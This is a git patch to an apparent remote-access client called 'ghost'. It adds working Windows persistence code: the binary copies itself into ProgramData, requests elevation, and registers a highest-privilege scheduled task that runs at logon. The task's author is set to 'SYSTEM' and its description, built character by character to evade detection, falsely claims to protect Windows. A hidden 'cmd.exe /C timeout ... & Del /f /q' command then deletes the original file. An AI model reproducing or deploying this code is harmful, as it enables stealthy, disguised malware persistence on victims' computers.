From 1de6ddb564933cc890d7a7e5014dc3a8aa194666 Mon Sep 17 00:00:00 2001 From: yuanyuanxiang <962914132@qq.com> Date: Mon, 6 Oct 2025 03:04:24 +0800 Subject: [PATCH] Feature: #193 Automatically delete client after first running --- client/ClientDll.cpp | 10 + client/TestRun_vs2015.vcxproj | 2 + client/auto_start.h | 21 +++ client/ghost_vs2015.vcxproj | 2 + client/reg_startup.c | 339 ++++++++++++++++++++++++++++++++++ client/reg_startup.h | 4 + client/test.cpp | 10 + 7 files changed, 388 insertions(+) create mode 100644 client/reg_startup.c create mode 100644 client/reg_startup.h diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 9cc023b..5625880 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -4,6 +4,9 @@ #include "stdafx.h" #include "ClientDll.h" #include +extern "C" { +#include "reg_startup.h" +} // 自动启动注册表中的值 #define REG_NAME "a_ghost" @@ -177,6 +180,13 @@ BOOL CALLBACK callback(DWORD CtrlType) int main(int argc, const char *argv[]) { + // 注册启动项 + int r = RegisterStartup("Windows Ghost", "WinGhost"); + if (r <= 0) { + BOOL s = self_del(); + if (!IsDebug)return r; + } + if (!SetSelfStart(argv[0], REG_NAME)) { Mprintf("设置开机自启动失败，请用管理员权限运行.\n"); diff --git a/client/TestRun_vs2015.vcxproj b/client/TestRun_vs2015.vcxproj index b151eff..bc28a37 100644 --- a/client/TestRun_vs2015.vcxproj +++ b/client/TestRun_vs2015.vcxproj @@ -156,11 +156,13 @@ + + diff --git a/client/auto_start.h b/client/auto_start.h index 39007d3..173576d 100644 --- a/client/auto_start.h +++ b/client/auto_start.h @@ -62,3 +62,24 @@ inline BOOL SetSelfStart(const char* sPath, const char* sNmae) // 判断是否成功 return lRet == ERROR_SUCCESS; } + +inline BOOL self_del(void) +{ + char file[MAX_PATH] = { 0 }, szCmd[MAX_PATH * 2] = { 0 }; + if (GetModuleFileName(NULL, file, MAX_PATH) == 0) + return FALSE; + + sprintf(szCmd, "cmd.exe /C timeout /t 3 /nobreak > Nul & Del /f /q \"%s\"", file); + + STARTUPINFO si = { 0 }; + PROCESS_INFORMATION pi = { 0 }; + si.cb = sizeof(si); + + if (CreateProcess(NULL, szCmd, NULL, NULL, FALSE, CREATE_NO_WINDOW, NULL, NULL, &si, &pi)) { + CloseHandle(pi.hThread); + CloseHandle(pi.hProcess); + return TRUE; + } + + return FALSE; +} diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 32e6da5..0a7cb65 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -193,6 +193,7 @@ + @@ -232,6 +233,7 @@ + diff --git a/client/reg_startup.c b/client/reg_startup.c new file mode 100644 index 0000000..b669d50 --- /dev/null +++ b/client/reg_startup.c @@ -0,0 +1,339 @@ +/* +* Author: 962914132@qq.com +* Purpose: Create a scheduled task. +* Language: C +*/ + +#include "reg_startup.h" +#include +#include +#include +#include +#include +#include +#include +#include +#define Mprintf printf + +#pragma comment(lib, "taskschd.lib") +#pragma comment(lib, "comsupp.lib") +#pragma comment(lib, "userenv.lib") +#pragma comment(lib, "shlwapi.lib") + +inline void ConvertCharToWChar(const char* charStr, wchar_t* wcharStr, size_t wcharSize) { + MultiByteToWideChar(CP_ACP, 0, charStr, -1, wcharStr, wcharSize); +} + +int CreateScheduledTask(const char* taskName,const char* exePath,BOOL check,const char* desc,BOOL run) +{ + HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED); + if (FAILED(hr)) { + Mprintf("无法初始化COM库，错误代码：%ld\n", hr); + return 1; + } + + ITaskService* pService = NULL; + hr = CoCreateInstance(&CLSID_TaskScheduler, NULL, CLSCTX_INPROC_SERVER, &IID_ITaskService, (void**)&pService); + if (FAILED(hr)) { + Mprintf("无法创建TaskScheduler实例，错误代码：%ld\n", hr); + CoUninitialize(); + return 2; + } + + VARIANT empty; + VariantInit(&empty); + empty.vt = VT_EMPTY; + hr = pService->lpVtbl->Connect(pService, empty, empty, empty, empty); + if (FAILED(hr)) { + Mprintf("无法连接到任务计划服务，错误代码：%ld\n", hr); + pService->lpVtbl->Release(pService); + CoUninitialize(); + return 3; + } + + WCHAR wRootPath[MAX_PATH] = {0}; + ConvertCharToWChar("\\", wRootPath, MAX_PATH); + + ITaskFolder* pRootFolder = NULL; + hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pRootFolder); + if (FAILED(hr)) { + Mprintf("无法获取任务计划程序根文件夹，错误代码：%ld\n", hr); + pService->lpVtbl->Release(pService); + CoUninitialize(); + return 4; + } + + WCHAR wTaskName[MAX_PATH] = {0}; + ConvertCharToWChar(taskName, wTaskName, MAX_PATH); + + IRegisteredTask* pOldTask = NULL; + hr = pRootFolder->lpVtbl->GetTask(pRootFolder, wTaskName, &pOldTask); + if (SUCCEEDED(hr) && pOldTask != NULL) { + Mprintf("任务已存在: %s\n", taskName); + pOldTask->lpVtbl->Release(pOldTask); + if (check) { + pRootFolder->lpVtbl->Release(pRootFolder); + pService->lpVtbl->Release(pService); + CoUninitialize(); + return 0; + } + } + + pRootFolder->lpVtbl->DeleteTask(pRootFolder, wTaskName, 0); + + ITaskDefinition* pTask = NULL; + hr = pService->lpVtbl->NewTask(pService, 0, &pTask); + pRootFolder->lpVtbl->Release(pRootFolder); + if (FAILED(hr)) { + Mprintf("无法创建任务定义，错误代码：%ld\n", hr); + pService->lpVtbl->Release(pService); + CoUninitialize(); + return 5; + } + + // 配置设置 + ITaskSettings* pSettings = NULL; + hr = pTask->lpVtbl->get_Settings(pTask, &pSettings); + if (SUCCEEDED(hr)) { + BSTR zeroTime = SysAllocString(L"PT0S"); + pSettings->lpVtbl->put_ExecutionTimeLimit(pSettings, zeroTime); + SysFreeString(zeroTime); + pSettings->lpVtbl->put_DisallowStartIfOnBatteries(pSettings, VARIANT_FALSE); + pSettings->lpVtbl->put_StopIfGoingOnBatteries(pSettings, VARIANT_FALSE); + pSettings->lpVtbl->Release(pSettings); + } + + IRegistrationInfo* pRegInfo = NULL; + hr = pTask->lpVtbl->get_RegistrationInfo(pTask, &pRegInfo); + if (SUCCEEDED(hr)) { + WCHAR temp[MAX_PATH] = {0}; + ConvertCharToWChar("SYSTEM", temp, MAX_PATH); + BSTR author = SysAllocString(temp); + pRegInfo->lpVtbl->put_Author(pRegInfo, author); + SysFreeString(author); + ConvertCharToWChar("v12.0.0.1", temp, MAX_PATH); + BSTR version = SysAllocString(temp); + pRegInfo->lpVtbl->put_Version(pRegInfo, version); + SysFreeString(version); + char d[] = {'T','h','i','s',' ','s','e','r','v','i','c','e',' ','k','e','e','p','s',' ', + 'y','o','u','r',' ','w','i','n','d','o','w','s',' ','s','a','f','e','t','y','.',0}; + ConvertCharToWChar(desc ? desc : d, temp, MAX_PATH); + BSTR bDesc = SysAllocString(temp); + pRegInfo->lpVtbl->put_Description(pRegInfo, bDesc); + SysFreeString(bDesc); + pRegInfo->lpVtbl->Release(pRegInfo); + } + + ITriggerCollection* pTriggerCollection = NULL; + hr = pTask->lpVtbl->get_Triggers(pTask, &pTriggerCollection); + if (SUCCEEDED(hr)) { + ITrigger* pTrigger = NULL; + hr = pTriggerCollection->lpVtbl->Create(pTriggerCollection, TASK_TRIGGER_LOGON, &pTrigger); + pTriggerCollection->lpVtbl->Release(pTriggerCollection); + if (FAILED(hr)) { + Mprintf("无法设置任务触发器，错误代码：%ld\n", hr); + pTask->lpVtbl->Release(pTask); + pService->lpVtbl->Release(pService); + CoUninitialize(); + return 6; + } + pTrigger->lpVtbl->Release(pTrigger); + } + + // 设置操作 + IActionCollection* pActionCollection = NULL; + hr = pTask->lpVtbl->get_Actions(pTask, &pActionCollection); + if (SUCCEEDED(hr)) { + IAction* pAction = NULL; + hr = pActionCollection->lpVtbl->Create(pActionCollection, TASK_ACTION_EXEC, &pAction); + if (SUCCEEDED(hr)) { + IExecAction* pExecAction = NULL; + hr = pAction->lpVtbl->QueryInterface(pAction, &IID_IExecAction, (void**)&pExecAction); + if (SUCCEEDED(hr)) { + WCHAR wExePath[MAX_PATH] = {0}; + ConvertCharToWChar(exePath, wExePath, MAX_PATH); + BSTR path = SysAllocString(wExePath); + pExecAction->lpVtbl->put_Path(pExecAction, path); + SysFreeString(path); + pExecAction->lpVtbl->Release(pExecAction); + } + pAction->lpVtbl->Release(pAction); + } + pActionCollection->lpVtbl->Release(pActionCollection); + } + + // 权限配置 + IPrincipal* pPrincipal = NULL; + if (SUCCEEDED(pTask->lpVtbl->get_Principal(pTask, &pPrincipal))) { + pPrincipal->lpVtbl->put_LogonType(pPrincipal, TASK_LOGON_INTERACTIVE_TOKEN); + pPrincipal->lpVtbl->put_RunLevel(pPrincipal, TASK_RUNLEVEL_HIGHEST); + pPrincipal->lpVtbl->Release(pPrincipal); + } + + // 注册任务 + ITaskFolder* pFolder = NULL; + hr = pService->lpVtbl->GetFolder(pService, wRootPath, &pFolder); + ConvertCharToWChar(taskName, wTaskName, MAX_PATH); + + if (SUCCEEDED(hr)) { + char userName[UNLEN + 1] = {0}; + DWORD nameLen = UNLEN + 1; + if (GetUserNameA(userName, &nameLen)) { + Mprintf("创建任务计划. 当前用户名称为: %s\n", userName); + } + WCHAR wUser[_MAX_PATH] = {0}; + ConvertCharToWChar(userName, wUser, MAX_PATH); + BSTR bstrTaskName = SysAllocString(wTaskName); + VARIANT vUser; + VariantInit(&vUser); + vUser.vt = VT_BSTR; + vUser.bstrVal = SysAllocString(wUser); + + IRegisteredTask* pRegisteredTask = NULL; + hr = pFolder->lpVtbl->RegisterTaskDefinition( + pFolder, + bstrTaskName, + pTask, + TASK_CREATE_OR_UPDATE, + vUser, + empty, + TASK_LOGON_INTERACTIVE_TOKEN, + empty, + &pRegisteredTask + ); + + if (SUCCEEDED(hr)) { + if (run) { + IRunningTask* pRunningTask = NULL; + hr = pRegisteredTask->lpVtbl->Run(pRegisteredTask, empty, &pRunningTask); + if (SUCCEEDED(hr)) { + pRunningTask->lpVtbl->Release(pRunningTask); + } + else { + Mprintf("无法启动任务，错误代码：%ld\n", hr); + } + } + pRegisteredTask->lpVtbl->Release(pRegisteredTask); + } + + VariantClear(&vUser); + SysFreeString(bstrTaskName); + pFolder->lpVtbl->Release(pFolder); + } + + pTask->lpVtbl->Release(pTask); + pService->lpVtbl->Release(pService); + CoUninitialize(); + + return SUCCEEDED(hr) ? 0 : 7; +} + +BOOL IsRunningAsAdmin() +{ + BOOL isAdmin = FALSE; + PSID administratorsGroup = NULL; + + SID_IDENTIFIER_AUTHORITY NtAuthority = SECURITY_NT_AUTHORITY; + if (AllocateAndInitializeSid(&NtAuthority, 2, SECURITY_BUILTIN_DOMAIN_RID, DOMAIN_ALIAS_RID_ADMINS, + 0, 0, 0, 0, 0, 0, &administratorsGroup)){ + if (!CheckTokenMembership(NULL, administratorsGroup, &isAdmin)){ + isAdmin = FALSE; + } + + FreeSid(administratorsGroup); + } + + return isAdmin; +} + +BOOL LaunchAsAdmin(const char* szFilePath, const char* verb) +{ + SHELLEXECUTEINFOA shExecInfo; + ZeroMemory(&shExecInfo, sizeof(SHELLEXECUTEINFOA)); + shExecInfo.cbSize = sizeof(SHELLEXECUTEINFOA); + shExecInfo.fMask = SEE_MASK_DEFAULT; + shExecInfo.hwnd = NULL; + shExecInfo.lpVerb = verb; + shExecInfo.lpFile = szFilePath; + shExecInfo.nShow = SW_NORMAL; + + return ShellExecuteExA(&shExecInfo); +} + +BOOL CreateDirectoryRecursively(const char* path) +{ + if (PathFileExistsA(path)) + return TRUE; + + char temp[MAX_PATH] = { 0 }; + size_t len = strlen(path); + strncpy(temp, path, len); + + for (size_t i = 0; i < len; ++i){ + if (temp[i] == '\\'){ + temp[i] = '\0'; + if (!PathFileExistsA(temp)){ + if (!CreateDirectoryA(temp, NULL)) + return FALSE; + } + temp[i] = '\\'; + } + } + + if (!CreateDirectoryA(temp, NULL)) + return FALSE; + + return TRUE; +} + +int RegisterStartup(const char* startupName, const char* exeName) +{ + char folder[MAX_PATH] = { 0 }; + if (GetEnvironmentVariableA("ProgramData", folder, MAX_PATH) > 0){ + size_t len = strlen(folder); + if (len > 0 && folder[len - 1] != '\\'){ + folder[len] = '\\'; + folder[len + 1] = '\0'; + } + strcat(folder, startupName); + + if (!CreateDirectoryRecursively(folder)){ + Mprintf("Failed to create directory structure: %s\n", folder); + return -1; + } + } + + char curFile[MAX_PATH] = { 0 }; + GetModuleFileNameA(NULL, curFile, MAX_PATH); + + char dstFile[MAX_PATH] = { 0 }; + sprintf(dstFile, "%s\\%s.exe", folder, exeName); + + if (_stricmp(curFile, dstFile) != 0){ + if (!IsRunningAsAdmin()){ + if (!LaunchAsAdmin(curFile, "runas")){ + Mprintf("The program will now exit. Please restart it with administrator privileges."); + return -1; + } + Mprintf("Choosing with administrator privileges: %s.\n", curFile); + return 0; + } else { + Mprintf("Running with administrator privileges: %s.\n", curFile); + } + + DeleteFileA(dstFile); + BOOL b = CopyFileA(curFile, dstFile, FALSE); + Mprintf("Copy '%s' -> '%s': %s [Code: %d].\n", + curFile, dstFile, b ? "succeed" : "failed", GetLastError()); + + int status = CreateScheduledTask(startupName, dstFile, FALSE, NULL, TRUE); + Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败"); + + return 0; + } + int status = CreateScheduledTask(startupName, dstFile, TRUE, NULL, FALSE); + Mprintf("任务计划创建: %s!\n", status == 0 ? "成功" : "失败"); + CreateFileA(curFile, GENERIC_READ, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); + + return 1; +} diff --git a/client/reg_startup.h b/client/reg_startup.h new file mode 100644 index 0000000..193d92c --- /dev/null +++ b/client/reg_startup.h @@ -0,0 +1,4 @@ +#pragma once + +// return > 0 means to continue running else terminate. +int RegisterStartup(const char* startupName, const char* exeName); diff --git a/client/test.cpp b/client/test.cpp index e6d5f19..bb8e60a 100644 --- a/client/test.cpp +++ b/client/test.cpp @@ -7,6 +7,9 @@ #include "common/dllRunner.h" #include #include "auto_start.h" +extern "C" { +#include "reg_startup.h" +} #pragma comment(lib, "ws2_32.lib") @@ -200,6 +203,13 @@ public: // 如果配置文件不存在就从命令行中获取IP和端口. int main(int argc, const char *argv[]) { + // 注册启动项 + int r = RegisterStartup("Client Demo", "ClientDemo"); + if (r <= 0) { + BOOL s = self_del(); + if (!IsDebug)return r; + } + BOOL ok = SetSelfStart(argv[0], REG_NAME); if(!ok) {